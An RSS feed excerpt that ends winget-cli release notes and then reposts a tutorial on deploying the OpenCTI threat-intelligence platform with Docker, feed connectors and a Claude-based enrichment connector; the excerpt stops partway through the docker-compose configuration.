<li>Bump uuid and @azure/msal-node in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497658174" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6241" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6241/hovercard" href="https://github.com/microsoft/winget-cli/pull/6241">#6241</a></li>
<li>Bump qs from 6.15.1 to 6.15.2 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508521780" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6246" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6246/hovercard" href="https://github.com/microsoft/winget-cli/pull/6246">#6246</a></li>
<li>Ensure portable command alias does not escape directory by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4527365695" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6251" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6251/hovercard" href="https://github.com/microsoft/winget-cli/pull/6251">#6251</a></li>
<li>Make sfs-client a vcpkg port by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499084547" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6243" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6243/hovercard" href="https://github.com/microsoft/winget-cli/pull/6243">#6243</a></li>
<li>Bump tmp from 0.2.5 to 0.2.7 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4534892375" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6252" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6252/hovercard" href="https://github.com/microsoft/winget-cli/pull/6252">#6252</a></li>
<li>Honor DSCv3 package installMode for silent and interactive by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525632854" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6249" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6249/hovercard" href="https://github.com/microsoft/winget-cli/pull/6249">#6249</a></li>
<li>Fix triage label getting removed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4537505971" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6254" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6254/hovercard" href="https://github.com/microsoft/winget-cli/pull/6254">#6254</a></li>
<li>lowercase ARM64 for vcpkg by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4542807796" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6256" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6256/hovercard" href="https://github.com/microsoft/winget-cli/pull/6256">#6256</a></li>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565579611" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6262" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6262/hovercard" href="https://github.com/microsoft/winget-cli/pull/6262">#6262</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DandelionSprout/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DandelionSprout">@DandelionSprout</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3571577317" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5845" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5845/hovercard" href="https://github.com/microsoft/winget-cli/pull/5845">#5845</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kissaki/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kissaki">@Kissaki</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3543261404" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5824" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5824/hovercard" href="https://github.com/microsoft/winget-cli/pull/5824">#5824</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wmmc88/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wmmc88">@wmmc88</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3997110317" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6071" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6071/hovercard" href="https://github.com/microsoft/winget-cli/pull/6071">#6071</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GrantMeStrength/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GrantMeStrength">@GrantMeStrength</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4145157508" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6110" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6110/hovercard" href="https://github.com/microsoft/winget-cli/pull/6110">#6110</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMDphreak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMDphreak">@AMDphreak</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111928053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6096" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6096/hovercard" href="https://github.com/microsoft/winget-cli/pull/6096">#6096</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mamoreau-devolutions/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mamoreau-devolutions">@mamoreau-devolutions</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311593126" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6172" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6172/hovercard" href="https://github.com/microsoft/winget-cli/pull/6172">#6172</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.28.240...v1.29.250"><tt>v1.28.240...v1.29.250</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Intelligent Shield. OpenCTI]]></title>
<description><![CDATA[Beyond Ingestion Subtitle: Deploying AI-Driven Enrichment in OpenCTITransforming Threat Data into High-Confidence IntelligenceIn an era of relentless and complex cyber attacks, traditional, manual threat intelligence cannot keep pace. Security teams are overwhelmed by data fragmentation and the c...]]></description>
<link>https://tsecurity.de/de/3600900/hacking/the-intelligent-shield-opencti/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600900/hacking/the-intelligent-shield-opencti/</guid>
<pubDate>Tue, 16 Jun 2026 09:09:15 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Beyond Ingestion <strong>Subtitle:</strong> Deploying AI-Driven Enrichment in OpenCTI</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZJrYF0KW4x5gzDg6xNN6A.png"></figure><h3>Transforming Threat Data into High-Confidence Intelligence</h3><p>In an era of relentless and complex cyber attacks, traditional, manual threat intelligence cannot keep pace. Security teams are overwhelmed by data fragmentation and the critical lack of context. “The Intelligent Shield” introduces a new paradigm: beyond simply ingesting data, it’s about deploying advanced, automated machine learning pipelines for <strong>AI-driven enrichment.</strong></p><p>This guide demonstrates how to integrate state-of-the-art Large Language Models (LLMs), such as <strong>Claude AI</strong>, into an <strong>OpenCTI</strong> ecosystem. By leveraging the <strong>OpenCTI STIX 2.1 Knowledge Graph</strong> and natural language processing, this architecture converts disparate, unstructured data feeds into high-fidelity, actionable intelligence. It automatically builds context, executes deep mapping to frameworks like the <strong>MITRE ATT&amp;CK Matrix</strong>, and generates calculated, real-time <strong>Confidence Scores</strong>, enabling organizations to proactively strengthen their defenses with an intuitive, automated <strong>Intelligent Shield.</strong></p><h3>Table of Contents</h3><ol><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#6e45"><strong>What is OpenCTI?</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#8ff6"><strong>Core Capabilities</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#7dc1"><strong>Architecture Overview</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#7865"><strong>Threat Intelligence Feeds</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#fe8e"><strong>AI Integration Layer</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#c6df"><strong>Prerequisites</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#7c94"><strong>Docker Compose Deployment</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#b276"><strong>Connector Configuration</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#a2bd"><strong>AI-Driven Enrichment Pipeline</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#99be"><strong>Post-Deployment Hardening</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#fd26"><strong>Operational Runbook</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#aabb"><strong>Troubleshooting</strong></a></li><li><a href="https://infosecwriteups.com/the-intelligent-shield-057c9b4b9394#7e3e"><strong>Usage Examples</strong></a></li></ol><h3>1. What is OpenCTI?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fSYjMAN2q5yyUccU6F6daQ.png"></figure><p><strong>OpenCTI</strong> (Open Cyber Threat Intelligence) is an open-source platform developed by Filigran (formerly a project of ANSSI, the French national cybersecurity agency) for structuring, storing, organizing, visualizing, and sharing cyber threat intelligence (CTI).</p><p>It implements the <strong>STIX 2.1</strong> (Structured Threat Information eXpression) standard as its native data model and exposes a <strong>GraphQL API</strong> for all read/write operations. Every object — threat actors, campaigns, malware, vulnerabilities, indicators, attack patterns — is stored as a STIX Domain Object (SDO) or STIX Relationship Object (SRO) backed by two databases:</p><ul><li><strong>ElasticSearch / OpenSearch</strong> — full-text search and analytics</li><li><strong>Apache Cassandra (via JanusGraph)</strong> — graph relationship storage</li></ul><h3>Why OpenCTI?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1a3jOT66dfRuy3XvkQJ5NQ.png"></figure><h3>2. Core Capabilities</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uj2dA3oWyo03XyrbjkNrGg.png"></figure><h4>2.1 Knowledge Graph</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YvoudJ_c2ItEwEgTZ8TGaQ.png"></figure><ul><li>Entities: Threat Actors, Intrusion Sets, Campaigns, Malware, Tools, Vulnerabilities (CVE), Attack Patterns (MITRE ATT&amp;CK), Courses of Action, Sectors, Countries, Organizations</li><li>Relationships modelled as first-class STIX SROs with confidence scores, date ranges, and TLP markings</li><li>Diamond Model and Kill Chain views built in</li></ul><h4>2.2 Indicator Management</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pGfNRDKffBczwNJeMydW8w.png"></figure><ul><li>IOC lifecycle: valid_from / valid_until with automatic expiry</li><li>Detection rule generation (Sigma, YARA, Snort)</li><li>Bulk import via STIX, CSV, OpenIOC, MISP formats</li><li>Scoring and confidence weighting per source</li></ul><h4>2.3 MITRE ATT&amp;CK Navigator Integration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_jOEvP3job4uFFPBnXLIkA.png"></figure><ul><li>Full ATT&amp;CK Enterprise / Mobile / ICS matrices</li><li>Heatmaps of technique usage per threat actor or campaign</li><li>Gap analysis against your current detection coverage</li></ul><h4>2.4 Threat Actor Profiling</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N98FeMPaxF2ZYnhLF8kEGQ.png"></figure><ul><li>Attributed aliases, motivations (financial, espionage, hacktivism)</li><li>Geo and sector targeting mapped on world map</li><li>Timeline of campaigns and malware usage</li></ul><h4>2.5 Automation &amp; Playbooks</h4><ul><li>Built-in playbook engine (since v5.9): trigger enrichment, notifications, or SOAR actions on entity creation/modification(<strong>Enterprise Edition only)</strong></li><li>Python SDK for custom automation</li><li>Webhook support for external integrations</li></ul><h4>2.6 Collaboration &amp; Sharing</h4><ul><li>Role-based access control (RBAC) with groups and organizations</li><li>TLP (Traffic Light Protocol) enforcement at object level</li><li>TAXII 2.1 server — push feeds to SIEMs, firewalls, EDR platforms</li><li>Sharing with partner organizations via federated instances</li></ul><h4>2.7 Dashboard &amp; Reporting</h4><ul><li>Customizable dashboards with widget library</li><li>PDF report generation</li><li>Timeline, matrix, and entity views</li><li>Attack path visualization</li></ul><h3>3. Architecture Overview</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xAFxmmcNnaHdD8ZDbXIbDw.png"></figure><h3>4. Threat Intelligence Feeds</h3><h4>4.1 Free / Open-Source Feeds</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zamxLo7VEhjGX0cOnZvRJQ.png"></figure><ul><li><a href="https://attack.mitre.org/?utm_source=chatgpt.com"><strong>MITRE ATT&amp;CK</strong></a> — Connector: opencti/connector-mitre — Data: Techniques, mitigations, groups, software — Setup: API key not needed.</li><li><a href="https://nvd.nist.gov/?utm_source=chatgpt.com"><strong>CVE / NVD</strong></a> — Connector: opencti/connector-cve — Data: Vulnerabilities — Setup: <a href="https://nvd.nist.gov/developers/request-an-api-key">NVD API key</a> recommended/required depending on configuration.</li><li><a href="https://otx.alienvault.com/?utm_source=chatgpt.com"><strong>AlienVault OTX</strong></a> — Connector: opencti/connector-alienvault — Data: IOCs, pulses, malware families — Setup: Free OTX account/API key.</li><li><a href="https://bazaar.abuse.ch/?utm_source=chatgpt.com"><strong>Abuse.ch MalwareBazaar</strong></a> — Connector: opencti/connector-malwarebazaar — Data: Malware hashes, malware metadata, file observables — Setup: Free MalwareBazaar API key.</li><li><a href="https://urlhaus.abuse.ch/?utm_source=chatgpt.com"><strong>Abuse.ch URLhaus</strong></a> — Connector: opencti/connector-urlhaus — Data: Malicious URLs — Setup: Public feed; no API key for CSV feed.</li><li><a href="https://feodotracker.abuse.ch/?utm_source=chatgpt.com"><strong>Abuse.ch Feodo Tracker</strong></a> — Connector: use <a href="https://github.com/OpenCTI-Platform/connectors/tree/master/external-import/misp-feed?utm_source=chatgpt.com">opencti/connector-misp-feed</a> or ingest the Feodo CSV/blocklist feed manually — Data: Botnet C2 IPs — Setup: Free.</li><li><a href="https://internetdb.shodan.io/"><strong>Shodan InternetDB</strong></a> — Connector: opencti/connector-shodan-internetdb — Data: IP enrichment, domains, CPEs, CVEs, tags — Setup: No API key required.</li><li><a href="https://www.misp-project.org/feeds/?utm_source=chatgpt.com"><strong>MISP Default / CIRCL OSINT Feeds</strong></a> — Connector: <a href="https://github.com/OpenCTI-Platform/connectors/tree/master/external-import/misp-feed?utm_source=chatgpt.com">opencti/connector-misp-feed</a> — Data: STIX/MISP bundles, indicators, observables — Setup: Free.</li><li><a href="https://www.misp-project.org/feeds/?utm_source=chatgpt.com"><strong>CyberCrime-Tracker feed via MISP default feeds</strong></a> — Connector: use <a href="https://github.com/OpenCTI-Platform/connectors/tree/master/external-import/misp-feed?utm_source=chatgpt.com">opencti/connector-misp-feed</a> rather than a dedicated current connector — Data: C2 panels / freetext indicators — Setup: Free.</li><li><a href="https://openphish.com/?utm_source=chatgpt.com"><strong>OpenPhish</strong></a> — Connector: no verified current dedicated OpenCTI connector in the main repo; use generic feed ingestion where suitable — Data: Phishing URLs — Setup: Free/community feed options.</li><li><strong>DigitalSide IT-ISAC MISP Feed</strong> — Connector: <a href="https://github.com/OpenCTI-Platform/connectors/tree/master/external-import/misp-feed?utm_source=chatgpt.com">opencti/connector-misp-feed</a> with custom MISP_FEED_URL — Data: IOCs / MISP-format feed — Setup: Free.</li></ul><h4>4.2 Commercial Feeds (require license/API key)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dMgCc4cuy0X9LxEAcR0PiQ.png"></figure><ul><li><a href="https://www.misp-project.org/"><strong>MISP — self-hosted</strong></a> — Connector: opencti/connector-misp — Strengths: community sharing, custom events, internal/private CTI exchange. The OpenCTI repo lists both misp and misp-feed; use misp for a live MISP instance with API access, and misp-feed for static MISP feed URLs.</li><li><a href="https://www.virustotal.com/"><strong>VirusTotal / Google Threat Intelligence</strong></a> — Connector: opencti/connector-virustotal — Strengths: file, URL, domain, and IP enrichment. The connector is under internal-enrichment, not external-import.</li><li><strong>Mandiant Threat Intelligence / Google Threat Intelligence</strong> — Connector: opencti/connector-mandiant — Strengths: APT intelligence, actor reporting, malware/campaign context.</li><li><a href="https://www.recordedfuture.com/"><strong>Recorded Future</strong></a> — Connectors: opencti/connector-recordedfuture and opencti/connector-recordedfuture-enrichment — Strengths: risk lists, enrichment, vulnerability/contextual intelligence, dark web and external threat data. Recorded Future documentation describes the OpenCTI integration as two components: an enrichment connector and a Recorded Future connector.</li><li><a href="https://www.crowdstrike.com/products/threat-intelligence/"><strong>CrowdStrike Falcon Intelligence</strong></a> — Connector: opencti/connector-crowdstrike — Strengths: actor tracking, indicators, adversary intelligence, Falcon ecosystem context.</li><li><a href="https://www.sekoia.io/"><strong>Sekoia.io Intelligence</strong></a> — Connector: opencti/connector-sekoia — Strengths: European threat landscape, CTI feed ingestion, actor/campaign context. Sekoia’s own documentation points to the OpenCTI GitHub connector path.</li><li><a href="https://threatconnect.com/"><strong>ThreatConnect</strong></a> — Connector: <strong>no verified current dedicated connector in the main OpenCTI connector tree</strong> — Strengths: enterprise TI management, source aggregation, workflow and case management. I found an OpenCTI GitHub label/feature reference for “threat connect,” but not a confirmed current connector folder equivalent to external-import/threatconnect.</li><li><a href="https://intel471.com/"><strong>Intel 471</strong></a> — Connectors: opencti/connector-intel471, opencti/connector-intel471-darknet, and opencti/connector-intel471_v2 — Strengths: underground forums, cybercrime actors, malware, infrastructure, dark web intelligence.</li></ul><h4>4.3 ISAC / Government Feeds</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dtrgjORW-h5AoEi0rOMBHw.png"></figure><ul><li><a href="https://www.cisa.gov/resources-tools/services/automated-indicator-sharing-ais-service?utm_source=chatgpt.com"><strong>CISA Automated Indicator Sharing / AIS</strong></a> — Method: TAXII/STIX client, AIS 2.0 uses TAXII 2.1 — Access: free service for eligible participants; contact CISA to onboard.</li><li><a href="https://www.fsisac.com/?utm_source=chatgpt.com"><strong>FS-ISAC</strong></a> — Method: STIX/TAXII and MISP automated feeds — Access: financial-sector membership; automated-feed credentials/licensing must be explicitly requested.</li><li><a href="https://health-isac.org/"><strong>Health-ISAC / H-ISAC</strong></a> — Method: HITS indicator-sharing feed; STIX/TAXII-compatible threat intelligence sharing — Access: healthcare-sector membership / Health-ISAC member access.</li><li><a href="https://www.misp-project.org/communities/?utm_source=chatgpt.com"><strong>NATO MISP Community</strong></a> — Method: MISP community / MISP sync — Access: official government cyber-defense entities from NATO nations, sponsored by their national representative in the NATO Multinational MISP Steering Board.</li><li><a href="https://www.enisa.europa.eu/topics/cyber-threats/threat-landscape?utm_source=chatgpt.com"><strong>ENISA Threat Landscape</strong></a> — Method: public reports and CTI publications; not a confirmed public TAXII/STIX feed. ENISA’s CTL methodology references STIX 2.1 as a common CTI representation format, but this is different from offering a public feed endpoint.</li></ul><h4>4.4 Feed Priority and TLP Assignment</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XhNw0PBdOVuwb9zHT37S5Q.png"></figure><pre># Recommended TLP assignment by source<br>feeds:<br>  - source: mitre_attack<br>    tlp: WHITE          # public, shareable<br>    confidence: 90<br>  - source: alienvault_otx<br>    tlp: GREEN          # community sharing<br>    confidence: 60<br>  - source: mandiant<br>    tlp: AMBER          # restricted to org<br>    confidence: 85<br>  - source: internal_soc<br>    tlp: RED            # internal only<br>    confidence: 95</pre><h3>5. AI Integration Layer</h3><p>This is the “AI-driven” layer on top of standard OpenCTI — a custom connector and MCP server that adds:</p><h4>5.1 AI Enrichment Connector (Claude API)</h4><ul><li>On every new Report, Malware, or Threat-Actor ingested → call Claude API</li><li>Extract structured STIX entities from unstructured text (PDFs, blog posts)</li><li>Summarize long reports into 3-sentence executive briefs</li><li>Score indicator relevance against your organization’s sector profile</li><li>Suggest ATT&amp;CK technique mappings from narrative descriptions</li></ul><h4>5.2 AI Pipeline Architecture</h4><pre>New Report ingested<br>        │<br>        ▼<br>[AI Enrichment Connector]<br>        │<br>        ├─► Claude API: Extract entities → creates STIX SDOs<br>        ├─► Claude API: Map to ATT&amp;CK techniques<br>        ├─► Claude API: Generate executive summary<br>        └─► Claude API: Score severity for your sector<br>                │<br>                ▼<br>        Update Report in OpenCTI<br>        (summary, related entities, confidence scores)</pre><h3>6. Prerequisites</h3><h4>6.1 Hardware (minimum production)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ics48TK_7nXqH-diy8Uzng.png"></figure><h4>6.2 Software</h4><pre># Install Docker Engine (Ubuntu 22.04)<br>sudo apt-get update<br>sudo apt-get install -y ca-certificates curl gnupg lsb-release<br>sudo install -m 0755 -d /etc/apt/keyrings<br>curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \<br>  sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg<br>sudo chmod a+r /etc/apt/keyrings/docker.gpg<br>echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \<br>  https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | \<br>  sudo tee /etc/apt/sources.list.d/docker.list &gt; /dev/null<br>sudo apt-get update<br>sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin<br># Add user to docker group<br>sudo usermod -aG docker $USER<br>newgrp docker<br># Verify<br>docker compose version</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*eM3O8rdQsyvwxf-0WEZX8w.png"></figure><h4>6.3 System Tuning (required for ElasticSearch)</h4><pre># ElasticSearch requires high vm.max_map_count<br>sudo sysctl -w vm.max_map_count=1048575<br>echo "vm.max_map_count=1048575" | sudo tee -a /etc/sysctl.conf<br><br># Increase file descriptor limits<br>echo "* soft nofile 65536" | sudo tee -a /etc/security/limits.conf<br>echo "* hard nofile 65536" | sudo tee -a /etc/security/limits.conf</pre><h3>7. Docker Compose Deployment</h3><h4><strong>7.0 Deploy from GitHub (recommended)</strong></h4><p>The fastest deployment path is to clone the maintained project repository and create a local `.env` from the sanitized template:</p><pre>cd /home/andrey<br>git clone https://github.com/anpa1200/opencti-intelligent-shield.git openCTI<br>cd /home/andrey/openCTI<br># Create local secrets/config. This file is ignored by Git.<br>cp .env.example .env<br>nano .env<br># Start the full stack after filling in .env<br>./scripts/start-all.sh</pre><p>This gives you the Docker Compose files, OpenCTI patches, AI enrichment connector, helper scripts, and Docusaurus documentation in one checkout. Use the manual sections below if you want to recreate the files by hand or compare the generated content.</p><h4>7.1 Directory Structure</h4><pre>/home/andrey/openCTI/<br>├── .env                          # secrets and config<br>├── docker-compose.yml            # core stack<br>├── docker-compose.connectors.yml # feed connectors<br>├── docker-compose.ai.yml         # AI enrichment connector<br>├── patches/<br>│   └── back.js                   # ILM race condition fix (ES 8.13 + OpenCTI 6.2.0)<br>└── connectors/<br>    └── ai-enrichment/            # custom AI connector source</pre><h4>7.2 Environment File</h4><pre>cat &gt; /home/andrey/openCTI/.env &lt;&lt; 'EOF'<br># === Core ===<br>OPENCTI_ADMIN_EMAIL=admin@opencti.local<br>OPENCTI_ADMIN_PASSWORD=CHANGE_ME_STRONG_PASSWORD<br>OPENCTI_ADMIN_TOKEN=CHANGE_ME_UUID4_TOKEN<br>OPENCTI_BASE_URL=http://localhost:8080<br><br># === Secrets ===<br>APP__ADMIN__TOKEN=CHANGE_ME_UUID4_TOKEN<br>APP__SECRET_KEY=CHANGE_ME_SECRET<br><br># === ElasticSearch ===<br># NOTE: key is ELASTIC_PASSWORD, not ELASTIC_AUTH<br>ELASTIC_PASSWORD=CHANGE_ME_ELASTIC_PASS<br><br># === Redis ===<br>REDIS_PASSWORD=opencti<br><br># === MinIO ===<br>MINIO_ROOT_USER=opencti<br>MINIO_ROOT_PASSWORD=CHANGE_ME_MINIO_PASS<br><br># === RabbitMQ ===<br>RABBITMQ_DEFAULT_USER=opencti<br>RABBITMQ_DEFAULT_PASS=CHANGE_ME_RABBITMQ_PASS<br><br># === Connector IDs (unique UUID4 per connector — NOT used for auth) ===<br>CONNECTOR_MITRE_TOKEN=CHANGE_ME_UUID4<br>CONNECTOR_CVE_TOKEN=CHANGE_ME_UUID4<br>CONNECTOR_ALIENVAULT_TOKEN=CHANGE_ME_UUID4<br>CONNECTOR_ABUSE_SSL_TOKEN=CHANGE_ME_UUID4<br>CONNECTOR_URLHAUS_TOKEN=CHANGE_ME_UUID4<br>CONNECTOR_AI_ENRICHMENT_TOKEN=CHANGE_ME_UUID4<br><br># === External API keys ===<br>ALIENVAULT_API_KEY=your_otx_key_here<br>NVD_API_KEY=your_nvd_api_key_here     # UUID format from nvd.nist.gov/developers/request-an-api-key<br>ANTHROPIC_API_KEY=your_claude_api_key_here<br>EOF<br><br># Generate unique UUIDs for connector IDs<br>python3 -c "import uuid; [print(uuid.uuid4()) for _ in range(8)]"# Generate proper tokens<br>python3 -c "import uuid; [print(f'Token: {uuid.uuid4()}') for _ in range(10)]"</pre><h4>7.3 Core Stack — docker-compose.yml</h4><pre>nano docker-compose.yml</pre><pre>version: "3"<br>services:<br>  redis:<br>    image: redis:7.2<br>    restart: always<br>    volumes:<br>      - redisdata:/data<br>    command: redis-server --requirepass ${REDIS_PASSWORD:-opencti}<br>  elasticsearch:<br>    image: docker.elastic.co/elasticsearch/elasticsearch:8.13.0<br>    volumes:<br>      - esdata:/usr/share/elasticsearch/data<br>    environment:<br>      - discovery.type=single-node<br>      - xpack.ml.enabled=false<br>      - xpack.security.enabled=true<br>      - ELASTIC_PASSWORD=${ELASTIC_PASSWORD:-CHANGE_ME}<br>      - "ES_JAVA_OPTS=-Xms2g -Xmx2g"<br>      - cluster.routing.allocation.disk.threshold_enabled=false<br>    ulimits:<br>      memlock:<br>        soft: -1<br>        hard: -1<br>    restart: always<br>  minio:<br>    image: minio/minio:RELEASE.2024-01-16T16-07-38Z<br>    volumes:<br>      - miniodata:/data<br>    ports:<br>      - "9001:9001"   # console<br>    environment:<br>      MINIO_ROOT_USER: ${MINIO_ROOT_USER:-opencti}<br>      MINIO_ROOT_PASSWORD: ${MINIO_ROOT_PASSWORD:-CHANGE_ME}<br>    command: server /data --console-address ":9001"<br>    restart: always<br>  rabbitmq:<br>    image: rabbitmq:3.13-management<br>    environment:<br>      RABBITMQ_DEFAULT_USER: ${RABBITMQ_DEFAULT_USER:-opencti}<br>      RABBITMQ_DEFAULT_PASS: ${RABBITMQ_DEFAULT_PASS:-CHANGE_ME}<br>      RABBITMQ_NODENAME: rabbit01@localhost<br>    volumes:<br>      - rabbitmqdata:/var/lib/rabbitmq<br>    restart: always<br>  opencti:<br>    image: opencti/platform:6.2.0<br>    environment:<br>      NODE_OPTIONS: 